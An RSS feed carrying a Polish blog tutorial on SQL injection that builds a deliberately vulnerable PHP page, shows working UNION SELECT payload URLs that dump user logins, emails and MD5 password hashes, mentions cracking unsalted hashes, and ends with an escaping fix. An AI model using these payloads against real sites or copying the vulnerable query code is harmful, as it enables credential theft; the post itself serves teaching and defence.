<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michał Środek &#187; SQL</title>
	<atom:link href="http://srodek.info/category/sql/feed" rel="self" type="application/rss+xml" />
	<link>http://srodek.info</link>
	<description>Mój osobisty blog</description>
	<lastBuildDate>Mon, 15 Aug 2011 19:00:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Kilka słów o SQL Injection</title>
		<link>http://srodek.info/blog/155/kilka-slow-o-sql-injection</link>
		<comments>http://srodek.info/blog/155/kilka-slow-o-sql-injection#comments</comments>
		<pubDate>Sat, 13 Feb 2010 21:33:38 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=155</guid>
		<description><![CDATA[Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i hasła użytkowników ze słabo zabezpieczonej witryny.<br />
<span id="more-155"></span></p>
<p>Stwórzmy przykładową bazę danych „hack“ aby pokazać jak to wygląda od drugiej strony.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> articles<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
title varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
content text <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
author int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
category int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> users<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
login varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
email varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
password varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>Wypełnijmy je danymi:</p>
<pre class="console">
mysql> select * from articles;
+----+--------------+----------+--------+----------+
| id | title        | content  | author | category |
+----+--------------+----------+--------+----------+
|  1 | Artykul nr 1 | tresc... |      1 |        2 |
|  2 | Artykul nr 2 | tresc... |      3 |        1 |
|  3 | Artykul nr 3 | tresc... |      2 |        1 |
|  4 | Artykul nr 4 | tresc... |      3 |        2 |
+----+--------------+----------+--------+----------+
mysql> select * from users;
+----+--------+--------------------+----------------------------------+
| id | login  | email              | password                         |
+----+--------+--------------------+----------------------------------+
|  1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba |
|  2 | Magda  | romek@example.com  | 9d0250b24620c2056516e5d2d79eed4a |
|  3 | Romek  | romek@example.com  | 944278ab01f435bfc369fa038130f25b |
+----+--------+--------------------+----------------------------------+
</pre>
<p>Czas na kod PHP odpowiedzialny za pobieranie artykułów. Pomijam filtrowanie zmiennych przychodzących. Wygląda to mniej więcej tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$mysqli</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> mysqli<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'hack'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">else</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h2&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/h2&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;strong&gt;Author: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'author'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/strong&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;p&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'content'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/p&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Wystarczy mała nieuwaga aby skrypt był dziurawy jak ser szwajcarski. Co więcej, dziurę taką da się bardzo łatwo wykryć — wystarczy apostrof lub cudzysłów.</p>
<pre class="console">http://localhost/hack/sql/?id=1'</pre>
<p>Naszym oczom ukaże się błąd:</p>
<pre class="console">Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27 </pre>
<p>Jest to informacja, że użytkownik może wpływać na treść zapytania SQL. Dlaczego tak się dzieje? PHP bezmyslnie umieszcza zmienną $_GET[’id’] do zapytania SQL które teraz wygląda tak:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span><span style="color: #ff0000;">'</span></pre></div></div>

<p>Jest to niepoprawne zapytanie więc php zwraca błąd metody fetch_array(). Tym samym jest to informacja, że haker może spreparować własne zapytania, które zwrócą mu loginy i hasła. Oczywiście w sytuacji gdy nie zna on struktury bazy danych jest to troszkę utrudnione lecz wciąż możliwe. Aby uświadomić o jakie aspekty należy zadbać warto dowiedzieć się jak to robi przeciętny włamywacz.</p>
<h3>Od strony hakera</h3>
<p>Pierwszym krokiem jest sprawdzenie czy rzeczywiście możemy wpływać na zapytanie. Najlepiej jest dopisać nic nie znaczące „OR 1=1″</p>
<pre class="console">http://localhost/hack/sql/?id=1 OR 1=1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">OR</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span></pre></div></div>

<p>Naszym oczom powinna ukazać się pełna lista artykułów zamiast tylko jednego lub jeśli na stronie moduł pobiera tylko pierwszy rekord otrzymamy inny niż jest sprecyzowany w zmiennej id(oczywiście należy wziąć pod uwagę sortowanie). Kolejnym krokiem jest wprowadzenie własnego zapytania. Najczęściej używa się UNION ponieważ jest to najprostsza technika. UNION połączy 2 zapytania tylko wtedy gdy będą one posiadać taką samą ilość kolumn. Warto więc najpierw to sprawdzić metodą prób i błędów pobierając kolejno 2 NULL-e, 3 NULL-e itd. W naszym przykładzie wystarczy sześć.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Sprawdzmy, które pola odpowiadają poszczególnym rzeczom wyświetlanym na stronie.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Zauważ, że nie podaję jeszcze nazwy tabeli aby nie komplikować sobie całej operacji. W przypadku otwartych rozwiązań sprawa jest prosta ponieważ wystarczy zajrzeć w kod i odczytać nazwy tabel. Czasami skrypty wyświetlają komunikat o błędzie SQL, który zawiera zapytanie(sic!). Ewentualnym problemem mogą być prefiksy w nazwach. Metodą prób i błędów można jednak odkryć, że tabele z naszego przykładu to „articles“ oraz „users“</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Pozostała część to już jedynie formalność. Należy pobrać odpowiednią ilość elementów z tabeli users.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Gotowe! Zamiast artykułów mamy loginy i hasła. Jeśli programista jest początkujący prawdopodobnie nie dodaje soli do haseł a te są kodowane za pomocą MD5. Wystarczy w google pisać „md5 database“ aby szybko znaleźć stronę, która dopasuje odpowiedni ciąg znaków do podanego hasha. Można w ten sposób spokojnie odkodować hasła przynajmniej połowy użytkowników przeciętnego portalu internetowego. Sprawa jest utrudniona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgadnąć trzeba również nazwy pól.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>email<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>password<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>login<span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Jeśli strona jest słabo zabezpieczona to prawdobodobnie również nazwy tabel i pól są proste to odgadnięcia. Dla dobrego hakera wszystko jest kwestią czasu. Oczywiście twórca strony może troszkę udziwniać np. umieścić wartość w cudzysłowiach jednak to też mu niewiele da ponieważ wystarczy wpisać:</p>
<pre class="console">http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span></pre></div></div>

<p>Oczywiście to nie wyczerpuje tematu i być może kiedyś rozwinę jeszcze temat dziurawych zapytań SQL.</p>
<h3>Jak się zabezpieczyć?</h3>
<p>Najprostszym ze sposobów zabezpieczania się jest użycie <a href="http://pl.php.net/manual/en/mysqli.real-escape-string.php">mysqli::real_escape_string()</a>. Aby uniemożliwić atak wystarczy aby nasz kod wyglądał tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Osobiście jednak preferuję filtrowanie wszystkich danych przychodzących wedle własnych wzorców tak aby wykluczyć np. uruchomienie zapytania z ciągiem znaków zamiast cyfr, filtracje kodu html, znaków specjalnych itp. Świetnym rozwiązaniem wprowadzonym w php5 wraz z mysqli jest bindowanie parametrów(podobnie jak to ma miejsce w QT) ale o tym napiszę innym razem.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/155/kilka-slow-o-sql-injection/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

